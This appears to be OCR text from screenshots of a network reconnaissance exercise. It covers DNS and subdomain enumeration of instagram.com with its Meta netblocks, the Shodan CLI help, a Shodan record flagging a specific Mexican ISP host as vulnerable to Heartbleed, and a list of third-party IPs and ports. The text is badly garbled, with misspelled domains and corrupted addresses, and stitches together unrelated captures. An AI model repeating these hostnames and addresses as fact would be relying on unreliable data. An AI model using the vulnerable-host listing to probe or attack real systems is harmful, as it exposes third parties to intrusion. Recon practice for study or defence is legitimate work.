43 streaming-graph. instagram.com (FQDN) —> cname_record — instagram.c10r.instagram.com (FQDN)
44 b.ns. instagram.com (FQDN) —> a_record —» 129.134.31.12 (IPAddress)

45 b.ns. instagram.com (FQDN) —> aaaa_record —> 2a03:2880: fof 35 (IPAddress)

46 z-p4.dyi.wwi . instagram.con (FQDN) —> cname_record —» z-p4-instagram.c10r. facebook.com (FQDN)
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47 2-p15.maps. instagram.con (FQDN) —> cname_record —> z-p15-instagram.c10r.facebook.com (FQDN)
48 geo-p15. instagram.con (FQDN) —> cname_record — z-p15-instagram.clor.instagran.con (FQDN)
49 ive-upload-staging. instagran.con (FQDN) —» cname_record —> edgetee-upload-staging.xx.fbcdn.net (FQDN)
50 checkout . instagran.com (FQDN) —> cname_record —» instagram.c10r. instagram.com (FQDN)
51 parents. instagran.con (FQDN) — cname_record — instagram.c10r.instagram.com (FQDN)
52 xueb. instagram.con (FQDN) —> cname_record —» instagram.c10r.instagram.con (FQDN)
53 b.ns.c10r. instagram.con (FQDN) — a_record — 129.134.31.11 (IPAddress)
54 b.ns.c10r. instagram.con (FQDN) —> aaaa_record —» 2a03:2880:f0fd:b: face:b00c:0:99 (IPAddress)
55 logger. instagran.con (FQDN) —» cname_record —> instagram.c10r.instagram.com (FQDN)
56 threads. instagran.con (FQDN) — cname_record — instagram.c10r.instagram.com (FQDN)
57 privacycenter. instagran.com (FQDN) —> cname_record — z-p42-instagram.cl0r.instagram.con (FQDN)
58 129.134.0.0/18 (Netblock) — contains — 129.134.31.11 (IPAddress)
59 129.134.0.0/18 (Netblock) — contains — 129.134.31.12 (IPAddress)
60 2203:2880: f0fd:: /48 (Netblock) — contains —> 2a03:2880:f0fd:b: face:boo
61 2a03:2880: fofd:: /48 (Netblock) —> contains —> 2a03:2880: fof
62 32934 (ASN) —> managed_by —> FACEBOOK - Facebook, Inc. (RIROrganization)
63 32934 (ASN) —> announces — 129.134.0.0/18 (Netblock)
64 32934 (ASN) —> announces —s> 2a03:2880:fofd:: /48 (Netblock)
65 geo.instagran.com (FQDN) —> cname_record —» instagram.c10r. instagram.com (FQDN)
66 2-p15.lookaside. instagram.con (FQDN) —> cname_record — z-p15-instagram.c10r.facebook.con (FQDN)
67 my-0d-5. instagran.con (FQDN) —> cname_record —> ondemand-edge.c10r. facebook.con (FQDN)
leive—dev.ins(agram.:m (FQDN) —> cname_record —> edgetee-upload-staging.xx. fbcdn.net (FQDN)
69 platforn.instagran.com (FQDN) —> cname_record —» instagram.c10r.instagram.com (FQDN)
70 black. instagram.com (FQDN) —» cname_record —> geo.instagram.con (FQDN)
71 star. fallback.c10r. instagran.com (FQDN) —> a_record — 179.60.195.52 (IPAddress)
72 star. fallback.c10r. instagran.com (FQDN) —> aaaa_record —> 2a03:2880:f25a:1c2:face:b00c:0:43fe (IPAddress)
73 hyperlapse. instagram.con (FQDN) —> cname_record —> instagram.clor.instagran.con (FQDN)
74 2-p15.i.instagram.con (FQDN) —> cname_record — 2-p15-instagram.c10r. facebook.com (FQDN)
75 my-od-3.instagram.con (FQDN) —> cname_record — ondemand-edge.c10r. facebook.con (FQDN)
76 179.60.192.0/22 (Netblock) —> contains —> 179.60.195.52 (IPAddress)
77 32934 (ASN) —> announces — 179.60.192.0/22 (Netblock)
78 c.ns. instagram.con (FQDN) — a_record —> 185.89.218.12 (IPAddress)
79 c.ns. instagram.con (FQDN) —> aaaa_record —» 2a03:2880: f1fc:c:face:b00c:0:35 (IPAddress)
80 instagran. c10r. instagran.con (FQDN) —» a_record —> 157.240.16.63 (IPAddress)
81 instagran. c10r. instagran.con (FQDN) —» aaaa_record —> 2a03:2880:f22c:1ck: face:b00c:0:43fe (IPAddress)
82 i.instagran.com (FQDN) —> cname_record —» instagram.c10r.instagram.com (FQDN)
83 white.instagran.con (FQDN) —> cname_record — geo.instagram.com (FQDN)
84 upload-ec2. instagran.con (FQDN) —> cname_record —> instagram.com (FQDN)
85 2-p42.dyi.wmi. instagram.com (FQDN) —> cname_record — z-p42-instagram.c10r.facebook.con (FQDN)
86 web-chat-e2ee. instagram.con (FQDN) —» cname_record —» instagram.c1or.facebook.con (FQDN)
87 autodiscover. instagram.con (FQDN) — cname_record —» autodiscover.fb.con (FQDN)
88 secure.latest. instagram.con (FQDN) —> cname_record — secure-latest.c10r. facebook.com (FQDN)
89 secure.instagran.com (FQDN) —> cname_record — secure.c10r.facebook.con (FQDN)
90 m.instagran.com (FQDN) —> cname_record —> ww.instagram.com (FQDN)
91 2a03:2880: f25a:: /48 (Netblock) —> contains —> 2a03:2880:f25a:1c2:face:bo0c:0:43fe (IPAddress)
92 185.89.218.0/23 (Netblock) —> contains —> 185.89.218.12 (IPAddress)

99 (IPAddress)
5 (IPAddress)
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#% Shodan Search Engine X+
€ & C @ shodanio O O ouest
Shodan Maps Images Monitor Developer More.

‘ SHODAN Explore Pricing & www.instagram.com -

Search Engine for the
Internet of Everything

Shodan is the world's first search engine for Intemet-
connected devices. Discover how Intemet intelligence can
help you make better decisions.

// EXPLORE THE PLATFORM
@ Beyond the Web 5% Monitor Network Exposure 5% Internet Intelligence
Websites are just one part of the Internet. Use Keep track of all your devices that are directly Learn more about who is using various
Shodan to discover everything from power accessible from the Internet. Shodan provides products and how they're changing over time.
plants, mobile phones, refrigerators and a comprehensive view of all exposed services Shodan gives you a data-driven view of the

Minecraft servers. to help you stay secure. technology that powers the Internet.
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@ General Information
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/80 /TCP [/

HTTP/1.1 301 Moved Permanently
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Content-Type: text/plain

Server: proxygen-bolt

Date: Thu, 21 Sep 2023 23:57:65 GHT
Connection: keep-alive
Content-Length: ©

7/ 443 /TCP [/
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(kali® kali)-[~]

’—_$ shodan

/usr/lib/python3/dist-packages/requests/__init__.py:87: RequestsDependencyWarning:

hardet (5.1.0) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Usage: shodan [OPTIONS] COMMAND [ARGS] ...

Options:
-h, --help

Commands :
alert
convert
count
data
domain
download
honeyscore
host
info
init
myip
org
parse
radar
scan
search
stats

Show this message and exit.

Manage the network alerts for your account

Convert the given input data file into a different format.
Returns the number of results for a search

Bulk data access to Shodan

View all available information for a domain

Download search results and save them in a compressed JSON ...
Check whether the IP is a honeypot or not.

View all available information for an IP address

Shows general information about your account

Initialize the Shodan command-line

Print your external IP address

Manage your organization's access to Shodan

Extract information out of compressed JSON files.
Real-Time Map of some results as Shodan finds them.

Scan an IP/ netblock using Shodan.

Search the Shodan database

Provide summary information about a search query

100
urllib3 (1.26.16) or c
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189.201.128.250

Hostnames: customer-250.xertix.con
city: Mexico

Countr: Mexico

organization: Metro Net, S.A.P.I. de C.V.
Number of open port: 1

Vulnerabilities: Heartbleed

Ports:

443 Fortinet FortiGate 56B or FortiWifi 80C firewall http config
|-- SSL Versions: SSLv3, TLSvi, TLSvi.1, TLSV1.2
|-- Diffie-Hellman Parameters:

Bits: 1024

Generator 2

Fingerprint:  RFC2409/0akley Group 2
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216.28.245.171,80,Web Force Systems,
103.41.16.147, 80,

218.244.142.211,80,China Network Information Center,
£1.22.98.166,80,Kriter Internet Hiz.Ltd.Sti.,
75.149.30.132, 443, Comcast Business Communications,
23.108.235.233,80,Nobis Technology Group, LLC,
207.57.69.157, 8080, Verio Web Hosting,
66.129.113.13, 80, Peak 10,

168.143.6.120, 8080, Verio Web Hosting,
218.0.3.56,80,China Telecom Ningbo,
104.202.81.231, 80,

98.181.178.20,443,Cox Communications,
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23.105.63.236, 80, Nobis Technology Group, LLC,
67.227.184.237,8443, Smash Data Design,
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